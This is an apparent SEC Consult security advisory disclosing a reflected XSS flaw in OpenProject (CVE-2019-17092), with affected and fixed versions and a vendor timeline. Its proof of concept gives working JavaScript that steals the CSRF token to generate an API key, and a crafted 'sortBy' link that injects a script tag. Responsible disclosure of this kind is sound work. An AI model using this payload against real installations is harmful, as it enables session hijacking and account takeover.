SEC Consult Vulnerability Lab Security Advisory < 20191014-0 >
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              title: Reflected XSS vulnerability
            product: OpenProject
 vulnerable version: <= 9.0.3, <=10.0.1
      fixed version: 9.0.4, 10.0.2
         CVE number: CVE-2019-17092
             impact: medium
           homepage: https://www.openproject.org
              found: 2019-09-27
                 by: David Haintz (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

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Vendor description:
-------------------
"OpenProject is the leading open source project management software. Support your
project management process along the entire project life cycle: From project
initiation to closure."

Source: https://www.openproject.org/


Business recommendation:
------------------------
Update to the latest version of OpenProject.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected XSS vulnerability (CVE-2019-17092)
The project list of OpenProject lacks input validation on data that is output inside
an error message. Due to the Content Security Policy inline scripts/styles weren't
allowed and the script source was limited to 'self'. To bypass this a JavaScript file
was added as attachment to an existing project. This could be used to extract the CSRF
token and create a new API key.


Proof of concept:
-----------------
1) Reflected XSS vulnerability (CVE-2019-17092)
Within this proof of concept, two steps are done. First the JavaScript code to be
executed is uploaded as an attachment to fulfill the Content Security Policy of
'self'. In the second step the uploaded JavaScript code is executed through the
reflected XSS vulnerability by using a script-tag.

a) Upload JavaScript code
An attacker can upload a JavaScript file as attachment into any project in the default
configuration. The attachment can be called directly, but will be downloaded
automatically. But since the browser doesn't care if a file shall be downloaded or
displayed when loading it from an src-property, an attacker can easily use it for the
reflected XSS vulnerability.

In this proof of concept the following JavaScript code was uploaded:

(async () => {
	var csrf_param = document.querySelector('meta[name=csrf-param]').content;
	var csrf_token = document.querySelector('meta[name=csrf-token]').content;

	var req = await fetch("http://$IP/my/generate_api_key", {
	    "credentials": "include",
    	    "headers": {
    	    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    	    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
            "Content-Type": "application/x-www-form-urlencoded",
            "Upgrade-Insecure-Requests": "1"
    	},
    	"referrer": "http://$IP/my/access_token",
    	"body": "_method=post&" + csrf_param + "=" + encodeURI(csrf_token),
    	"method": "POST",
    	"mode": "cors"
	});

	var resp = await req.text();

	var regex = /(Your access token is:\<br \/\>\<strong\>)(.*)(\<\/strong\>)/gm;
	var api_key = resp.match(regex)[0];
	api_key = api_key.slice(35, -9);
	alert("Generated new API key: " + api_key);
})();


This gets the CSRF token and the parameter name (since this seems to be configurable)
and sends a request to the generate_api_key functionality. After parsing, the key is
exposed in a message box, but can be used for further operations like adding an
administrative user.


b) Craft link
The reflected XSS vulnerability was found in the URL parameter 'sortBy' of the path
'/projects'. There an attacker may add any HTML code.

Such a link could be:
http://$IP/projects?sortBy=[[%22%3E%3Cscript%20src=%27/attachments/29/test.js%27%3E%3C%2Fscript%3E%22%2C%22%22]]


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available at the
time of the test:

* 10.0.0
* 10.0.1

According to the vendor, all versions before v9.0.3 and v10.0.1 are affected.


Vendor contact timeline:
------------------------
2019-10-02: Contacting vendor through security@openproject.com
2019-10-02: Vendor verified the vulnerability and released the fix
2019-10-08: Verified fixed vulnerability
2019-10-08: Vendor announced that they will publish the CVE and full advisory
2019-10-14: Release of security advisory.


Solution:
---------
The vendor provides an updated version (v10.0.2 and v9.0.4) which should be
installed immediately. Release notes of the vendor:

https://www.openproject.org/release-notes/openproject-9-0-4/
https://www.openproject.org/release-notes/openproject-10-0-2/


Workaround:
-----------
There is no workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


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SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

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recommendation about the risk profile of new technologies.

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EOF D. Haintz / @2019